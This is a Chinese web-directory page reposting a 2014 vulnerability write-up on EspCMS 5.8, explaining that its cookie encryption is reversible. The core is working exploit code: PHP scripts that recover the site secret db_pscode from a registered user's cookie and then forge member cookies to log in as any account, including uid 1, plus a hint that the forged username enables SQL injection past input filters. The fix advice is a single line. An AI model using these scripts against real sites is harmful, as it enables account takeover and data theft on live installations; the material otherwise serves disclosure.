网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

EspCMS最新版可伪造任意帐户登陆下载

来源:黑吧安全网 浏览:745次 时间:2014-06-12
简介:EspCMS最新版可伪造任意帐户登陆(源码分析)测试版本espcms_utf8_5.8.14.03.03_bEspCMS中用户cookie生成算法中重要的就是db_pscode貌似前面有大牛提交过多次,厂商都只是略作修改,并没有最终搞定问题

EspCMS最新版可伪造任意帐户登陆(源码分析)
测试版本espcms_utf8_5.8.14.03.03_b

EspCMS中用户cookie生成算法中重要的就是db_pscode

貌似前面有大牛提交过多次,厂商都只是略作修改,并没有最终搞定问题

这里来说一下,可以通过注册普通帐号,通过帐号+cookie破解得到db_pscode

首先是cookie加密算法,/public/class_function.php,144-170行

 

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}



不知道分析的对不对,主要是没有采用不可逆函数,导致可以逆推得到db_pscode

我本地搭建时的db_pscode为81cc52c15f9f1df62679efdb12de1be,以此为例

首先注册帐号,获得cookie如下

简单写了个计算db_pscode的,写的比较菜~

 

<?php 
$string = "lmlilJRmY5RiZpdql2KV";
$username = "111111111111111";
$result = "";
$mod4 = strlen($string) % 4;
if ($mod4) {
$string .= substr('====', $mod4);
}
$de_string = base64_decode($string);
for($i=0;$i<strlen($username);$i++){
$char = chr(ord($de_string[$i+1]) - ord($username[$i]));
$result .= $char;
}
echo "code=".$result;
?>



通过这段代码得到db_pscode

db_pscode不完整是因为我们注册的用户名长度不够,只要注册足够长的用户名,就能得到足够长的cookie,就能得到完整db_pscode

得到db_pscode以后,只要伪造两个cookie就可以了,一个是ecisp_member_username,另一个是ecisp_member_info,就可以登陆任意帐户

也简单写了下计算cookie的代码

 

<?php 
$string = "81cc52c15f9f1d";
//如果是计算用户名的cookie,这里直接填写用户名
//如果是计算info的cookie,这里填写格式为 2||0|1|||| ,第一个数字即为uid
$username = "2||0|1||||";
$result = "";
for($i=0;$i<strlen($username);$i++){
$keychar = substr($string, ($i % strlen($string)) - 1, 1);
$char = chr(ord($keychar) + ord($username[$i]));
$result .= $char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
echo $result;
?>



注意:这里构造的username,与uid不需要匹配,因为程序读取cookie的时候只查询是否有这个uid存在,所以username可以随意构造,只有uid存在就ok

比如我要登陆userid=1的帐户,通过计算得到cookie中ecisp_member_info为lrStk99mrt-tsQ

另外一个值随便取值计算,不能不存在就ok

修改cookie

直接访问/index.php?ac=membermain&at=center,就登陆成功

另外说一下,因为可以随意构造username,这样的话在username处构造注入的话。。。

发现有多个地方可以通过这个方式注入,绝对无视gpc,无视全局过滤

修复方案:

算法问题是一个根本问题。


0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/1509.html

好玩的手游下载

猜你喜欢

推荐站点

  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com
  • 心动网址导航心动网址导航

    心动网址导航精选了国内国外著名的网站、好玩的、好看的、有趣的国内国外网站以及实用的、优秀的国内国外网站,包括国外视频、国外购物、国外交友、国外新闻等多种类型 同时提供精品行业分类目录提交,让用户全方位了解国内国外互联网动态!

    xd00.com
  • 门户网址-优秀网站导航门户网址-优秀网站导航

    门户网址-优秀网站导航,精选网址导航,免费分类目录提交,实用酷站大全。

    top.mhwz.cn

最新优秀网站